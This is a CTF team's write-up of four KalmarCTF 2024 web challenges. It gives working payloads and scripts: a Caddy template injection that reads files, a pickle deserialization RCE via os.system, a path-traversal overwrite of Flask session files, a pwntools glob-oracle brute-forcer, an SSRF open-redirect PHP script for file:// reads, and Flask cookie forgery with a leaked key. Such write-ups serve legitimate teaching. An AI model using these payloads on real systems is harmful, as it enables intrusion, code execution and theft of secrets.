Home KalmarCTF 2024 Web Challenges
Post
Cancel

KalmarCTF 2024 Web Challenges

Writeups

These are the web challenges our team solved at KalmarCTF 2024!

web/Ez ⛳ v2

This was a throwback to last year’s KalmarCTF where there was a similar challenge. I don’t exactly remember the details (I’m sure you can find some writeups online) but it was based on Caddy and that stuck in my mind.

Downloading the source, we see there is only really a docker-compose.yml and a Caddyfile which is pretty unusual for a web challenge so I instantly knew it would be an issue with the Caddy configuration. What caught my eye was the following two routes:

1
2
3
4
5
6
7
8
9
10
11
ua.caddy.chal-kalmarc.tf {
tls internal
templates
import html_reply `User-Agent: {{.Req.Header.Get  "User-Agent"}}`
}

http.caddy.chal-kalmarc.tf {
tls internal
templates
import html_reply "You are connected with {http.request.proto} ({tls_version}, {tls_cipher})."
}

This is strange! They are using two different approaches to rendering user-supplied variables. The latter looks far more standardized. This made me think there might be some potential for a template injection and so I tried {{7*7}} in my user agent and was greeted with a 500 Internal Server Error. Okay, that is weird! I next tried {{7}} and it was rendered as 7. I’m still not 100% sure at this point if we have a template injection and so I tried the same template they used: {{.Req.Header.Get "User-Agent"}} but it sadly didn’t work and was printed as text. Then it hit me! I’m trying to read the user agent header so it’s obviously going to show me my own payload. I change it to instead read Accept => {{.Req.Header.Get "Accept"}} and it worked!

Okay, so we have a template injection here but what can we actually do? Thankfully I came across a really helpful resource: https://caddyserver.com/docs/modules/http.handlers.templates

This contains, as far as I can tell, everything we can do with templates in Caddy. I went through the list line by line trying each directive. Using both include and readFile we can achieve local file disclosure on any file on the server:

1
{{readFile "/etc/passwd"}}

But this isn’t sufficient because our docker-compose.yml renames the file to a random value:

- ./flag:/wpqdDNHnYu8MZeclmpCr9Q:ro  # FILE WILL BE RENAMED TO SOMETHING SIMILAR RANDOM ON PROD

So we need a way to list the files. The same link I provided has a listFiles directive near the bottom. Listing the root directory we are able to see: CVGjuzCIVR99QNpJTLtBn9 and reading this file we get our flag:

kalmar{Y0_d4wg_I_h3rd_y0u_l1k3_templates_s0_I_put_4n_template_1n_y0ur_template_s0_y0u_c4n_readFile_wh1le_y0u_executeTemplate}

I just missed the first blood on this by about 5 minutes which was sad but I’ll be faster next time! :D

web/File Store

This one was pretty similar to a memcache RCE on HTB a few days ago affecting flask sessions. So, this was pretty fresh on my mind.

Downloading the source, we see it’s pretty bare and most of the logic is contained in the app.py file. It’s also a single route which doesn’t really do much but allows you to upload your own files.

The path traversal here is pretty obvious: path = f'static/uploads/{session.sid}' although they have a block on filenames containing .. this block is not applied to session id’s which in Flask are completely user-controlled! What is also interesting here is that the SESSION_TYPE is set to filename which is something I have seen on a few challenges before.

Setting a flask session to filename means that session files are saved on the server as files. How do we save them? Well, using Pickle serialization of course! What’s crazy about this is that Pickle is considered dangerous and if you unpickle a user-controlled value it is essentially game over.

The Dockerfile also contains: RUN chmod 777 static/uploads flask_session which is a pretty major hint that we are going to need to use this directory traversal to overwrite values in the flask_session directory.

In a normal situation you may think to overwrite app.py or perhaps templates/index.html which are both decent approaches depending on the circumstances but these files are not writable here.

When creating a Pickle deserialized value, I very much recommend using the docker file provided. This allows you to generate a payload on a server running the same setup and makes it more likely your pickled object contains the correct references to the modules which exist. You will notice issues if you create your payload on different operating systems and possibly different architectures.

My idea was to create a payload that would run cp /flag.txt /app/static/uploads/abcd.txt and that way I could see the file in the uploads directory! For these flask sessions there are a few things to note but most importantly you must reserve the first 4 bytes (doesn’t really matter why, just pad it with nullbytes) and when attempting to access a session (to deserialize it) Flask will search for a session called which is a hash of your session cookie. I had read online that it was md5 but from testing locally that was not the case for me and I was not bothered looking through the module source. If you know the algorithm used please let me know!

So, I set my cookie to xxx and uploaded a file on my local instance. This revealed that xxx mapped to 254b2716336df2553ce5c04a934d56e4 so we can use this as the name for our serialized Pickle object. We will upload the output of the following script to /app/flask_session/254b2716336df2553ce5c04a934d56e4 here:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle
import os

class RCE:
    def __reduce__(self):
        cmd = ('cp /flag.txt /app/static/uploads/abcd.txt')
        return os.system, (cmd,)

def generate_exploit():
    payload = pickle.dumps(RCE(), 0)
    return b"\x00"*4 + payload


with open("254b2716336df2553ce5c04a934d56e4", "wb") as f:
    f.write(generate_exploit())

Next, I set my session cookie to ../../flask_session and uploaded the file. This overwrote the session.

Then I set my session to xxx and refreshed the page. Lastly, I visited /static/uploads/abcd.txt path and got the flag!

kalmar{still_p1ckling_away_in_2024}

Web/BadAss Server for Hypertext

This was a sourceless web (ew) but was surprisingly fun and insightful! I guess sourceless web isn’t all bad after all. :P

I pretty quickly found that the 404 error page was showing the output of a cat command which indicated that we were dealing with a server that was piping all paths into cat and displaying the result! We can easily read local files using this…

GET /../../etc/passwd confirmed the worst fears of LFD!!

The next step is to make this not a sourceless web challenge. One of my teammates (gg0h) tried out /proc/1/cmdline and found the following:

1
socatTCP4-LISTEN:8080,reuseaddr,forkEXEC:/app/badass_server.sh

From this he was able to read /app/badass_server.sh which contained the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#!/bin/bash

# I hope there are no bugs in this source code...

set -e

declare -A request_headers
declare -A response_headers
declare method
declare uri
declare protocol
declare request_body
declare status="200 OK"

abort() {
	declare -gA response_headers
	status="400 Bad Request"
	write_headers
	if [ ! -z ${1+x} ]; then
		>&2 echo "Request aborted: $1"
		echo -en $1
	fi
	exit 1
}

write_headers() {
	response_headers['Connection']='close'
	response_headers['X-Powered-By']='Bash'

	echo -en "HTTP/1.0 $status\r\n"

	for key in "${!response_headers[@]}"; do
		echo -en "${key}: ${response_headers[$key]}\r\n"
	done

	echo -en '\r\n'

	>&2 echo "$(date -u +'%Y-%m-%dT%H:%M:%SZ') $SOCAT_PEERADDR $method $uri $protocol -> $status"
}

receive_request() {
	read -d $'\n' -a request_line

	if [ ${#request_line[@]} != 3 ]; then
		abort "Invalid request line"
	fi

	method=${request_line[0]}

	uri=${request_line[1]}

	protocol=$(echo -n "${request_line[2]}" | sed 's/^\s*//g' | sed 's/\s*$//g')

	if [[ ! $method =~ ^(GET|HEAD)$ ]]; then
		abort "Invalid request method"
	fi

	if [[ ! $uri =~ ^/ ]]; then
		abort 'Invalid URI'
	fi

	if [ $protocol != 'HTTP/1.0' ] && [ $protocol != 'HTTP/1.1' ]; then
		abort 'Invalid protocol'
	fi

	while read -d $'\n' header; do
		stripped_header=$(echo -n "$header" | sed 's/^\s*//g' | sed 's/\s*$//g')

		if [ -z "$stripped_header" ]; then
			break;
		fi

		header_name=$(echo -n "$header" | cut -d ':' -f 1 | sed 's/^\s*//g' | sed 's/\s*$//g' | tr '[:upper:]' '[:lower:]');
		header_value=$(echo -n "$header" | cut -d ':' -f 2- | sed 's/^\s*//g' | sed 's/\s*$//g');

		if [ -z "$header_name" ] || [[ "$header_name" =~ [[:space:]] ]]; then
			abort "Invalid header name";
		fi

		# If header already exists, add value to comma separated list
		if [[ -v request_headers[$header_name] ]]; then
			request_headers[$header_name]="${request_headers[$header_name]}, $header_value"
		else
			request_headers[$header_name]="$header_value"
		fi
	done

	body_length=${request_headers["content-length"]:-0}

	if [[ ! $body_length =~ ^[0-9]+$ ]]; then
		abort "Invalid Content-Length"
	fi

	read -N $body_length request_body
}

handle_request() {
	# Default: serve from static directory
	path="/app/static$uri"
	path_last_character=$(echo -n "$path" | tail -c 1)

	if [ "$path_last_character" == '/' ]; then
		path="${path}index.html"
	fi

	if ! cat "$path" > /dev/null; then
		status="404 Not Found"
	else
		mime_type=$(file --mime-type -b "$path")
		file_size=$(stat --printf="%s" "$path")

		response_headers["Content-Type"]="$mime_type"
		response_headers["Content-Length"]="$file_size"
	fi

	write_headers

	cat "$path" 2>&1
}

receive_request
handle_request

Now came the sourced part. We tried a lot of different approaches and I thought I had RCE through overflowing the read directive but that only worked in my terminal. :(

Eventually another one of our players (Protag) came on and mentioned the possibilities of globbing and word splitting. I have to admit, I was not too familiar with this concept except for a few bash jails I have done before.

I noticed the following logic:

1
if  [  $protocol  !=  'HTTP/1.0'  ]  &&  [  $protocol  !=  'HTTP/1.1'  ];  then abort 'Invalid protocol'  fi

This has some unquoted variables and may allow us to glob the $protocol value. I tried a basic test:

1
GET /whatever /app/static/assets/f*

Globbing this should only produce a single result and we got Invalid Protocol so I next tried:

1
GET /whatever /app/static/assets/*

Which should produce > 1 results. The output from the server this time was a cat error. Testing a glob which should produce 0 results gave Invalid Protocol too. This meant we had an oracle whereby we could detect whether there is > 1 files in a directory.

We want to leak the hidden directory containing the flag (presumably). I decided using a regex approach would be best. We have to create a regex which exactly matches ONE of the known folders and then we can brute force values to find the hidden one (so that glob will return 2 files and give us that cat error)!

I’ll save you the manual nightmare which followed but you can see the workings below:

1
/assets/f200d055a267ae56160198e0fcb47e5f/try_harder.tx /app/static/assets/[^fabcde1345678][^123457890abc][^abe][^abcdef124][^abcde1][^abcdef0134][^abdef012347][^012345678abcde][^103456789abcd][^abcdef013][^abcde01234567][^a-f0123456][^a-f0234][^b-f012345678][^ab][^678][^a][^a-f0][^134567890abcdef][^b-f01][^abdef1234567890][^a][^abcdef12340678][^b-f1][^01234568][^a-f01234][^abdef0123][^1234567890abcef][^a][^ac][^a-f02345][^a-f02345]*

And for those of you who are perfectionists, gg0h wrote an automated solution which was pretty cool:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
known1 = 'f200d055a267ae56160198e0fcb47e5f'
known2 = '26c3f25922f71af3372ac65a75cd3b11'

total_payload = ''
directory = ''

def attempt(payload):
    conn = remote('chal-kalmarc.tf',8080)
    req = f"""
HEAD /assets/f200d055a267ae56160198e0fcb47e5f/try_harder.tx /app/static/assets/{total_payload}{payload}*
Host: chal-kalmarc.tf:8080
    """.lstrip() + "\r\n" * 2
    conn.send(req) 
    resp = conn.recvall()
    return resp

for i in range(len(known1)):
    flag = False
    charset = string.hexdigits[:-6]
    charset = charset.replace(known2[i], '')

    # case where known1[i] == target[i]
    payload = f"[{known1[i]}]"
    resp = attempt(payload)
    if b'No such file or directory' in resp:
        total_payload += payload
        directory += known1[i]
        print(directory)
        continue

    for c in charset:
        payload = f'[{c}{known1[i]}]'     
        resp = attempt(payload)
        if b'No such file or directory' in resp:
            total_payload += payload
            directory += c
            print(directory)
            flag = True
            break

    # no match by this point means known2[i] == target[i]
    if not flag:
        total_payload += f"[{known1[i]}{known2[i]}]"
        directory += known2[i]
        print(directory)
    
    print(total_payload)

print(directory)

flag_payload = f"""
GET /assets/{directory}/flag.txt HTTP/1.1
Host: chal-kalmarc.tf:8080
""".lstrip() + "\r\n" * 2

conn = remote('chal-kalmarc.tf',8080)
conn.send(flag_payload) 
print(conn.recvall())

Either way, you will find the hidden directory is 9df5256fe48859c91122cb92964dbd66 and you can find the flag located at /assets/9df5256fe48859c91122cb92964dbd66/flag.txt to solve it!

kalmar{17b29adf_bash_web_server_was_a_mistake_374add33}

web/Is It Down

This was yet another sourceless web challenge.

We noticed the obvious SSRF straight away. If you intercept the HTTP request you can find the response is given. We tried to use a redirect to a http server and found that it worked. This meant that we could send it to our https website and then redirect to a non-http address from there. Next, gg0h was able to use the file:// URI to leak local files and read the /etc/passwd file.

I wrote my own PHP script to allow me to automatically play with this bug:

1
2
3
<?php
header("Location: ".$_GET['x']);
?>

This way I could host it on my HTTPS domain and send the bot to:

1
https://ireland.re/exploit.php?x=file:///etc/passwd

Again, the same process of dumping files followed. Similarly, gg0h came in good with the /proc/1/cmdline file which contained a reference to this /etc/uwsgi/uwsgi-custom.ini file.

1
2
3
4
5
6
7
8
9
10
11
12
[uwsgi]
uid = www-data
gid = www-data
master = true
processes = 20
http-socket = 0.0.0.0:5000
chmod-sock = 664
vacuum = true
die-on-term = true
wsgi-file = /var/www/keep-dreaming-sonny-boy/app.py
callable = app
pythonpath = /usr/local/lib/python3.11/site-packages

This file contained a reference to /var/www/keep-dreaming-sonny-boy/app.py as can be seen above!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from flask import Flask, request, send_from_directory, session, abort
from requestlib import fetch
from config import session_encryption_key
import subprocess
import os

def protect_secrets():
    os.unlink("config.py")

def check_url(url):
    if not isinstance(url, str) or len(url) == 0:
        return False, "Please provide a regular URL!"

    if not url.startswith("https://") or url.lstrip() != url:
        return False, "URL must start with 'https://'. We do not want anything insecure here!"

    return True, ""

app = Flask(__name__, static_folder='static', static_url_path='/assets/')
app.secret_key = session_encryption_key

print("Using key:", app.secret_key)

protect_secrets()

@app.route('/', methods=['GET'])
def home():
    return send_from_directory('pages', 'index.html')

@app.route('/flag', methods=['GET'])
def healthcheck():
    if session.get("admin") == True:
        return subprocess.check_output("/readflag")
    else:
        return abort(403)

@app.route('/check', methods=['POST'])
def check():
    url = request.form.get("url")
    valid, err = check_url(url)

    if not valid:
        return {
            'success': False,
            'error': err
        }

    if True:
        content = fetch(url)
        return {
            'success': True,
            'online': content is not None,
            'content': content
        }

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=10600, debug=False)

No more sourceless! We know we need to visit /flag with admin set to True which means we would need to leak the session_encryption_key value.

Sadly, the config.py file is deleted at runtime. We got stuck here for some time and went down some uWSGI rabbit holes. We also looked into the possibility to leaked the stdout where the value is printed to the screen.

Some time later it hit me and I recalled that __pycache__ exists! I spun up an environment with the same Python version (3.11) and generated some pycache. This allowed me to predict the path: /var/www/keep-dreaming-sonny-boy/__pycache__/config.cpython-311.pyc and it was dumped!

What followed was a little bit of “reverse engineering” to pick apart from the output which part was the key:

1
\xa7\\r\\r\\n\\x00\\x00\\x00\\x00:\\xbe\\xf5e;\\x00\\x00\\x00\\xe3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf3\\n\\x00\\x00\\x00\\x97\\x00d\\x00Z\\x00d\\x01S\\x00)\\x02\\xda Rm7GbQJ4uDikyiis6miD7YwsN11rEjfLN)\\x01\\xda\\x16session_encryption_key\\xa9\\x00\\xf3\\x00\\x00\\x00\\x00\\xfa*/var/www/keep-dreaming-sonny-boy/config.py\\xfa\\x08<module>r\\x07\\x00\\x00\\x00\\x01\\x00\\x00\\x00s\\x11\\x00\\x00\\x00\\xf0\\x03\\x01\\x01\\x01\\xd8\\x19;\\xd0\\x00\\x16\\xd0\\x00\\x16\\xd0\\x00\\x16r\\x05\\x00\\x00\\x00

Then I simply used flask-unsign like so:

1
flask-unsign --sign --cookie "{'admin': True}" --secret "Rm7GbQJ4uDikyiis6miD7YwsN11rEjfL"

Copy this to your session cookie and visit /flag to solve it.

kalmar{Rem3Mbr_T0_fl0sh!}

This post is licensed under CC BY 4.0 by the author.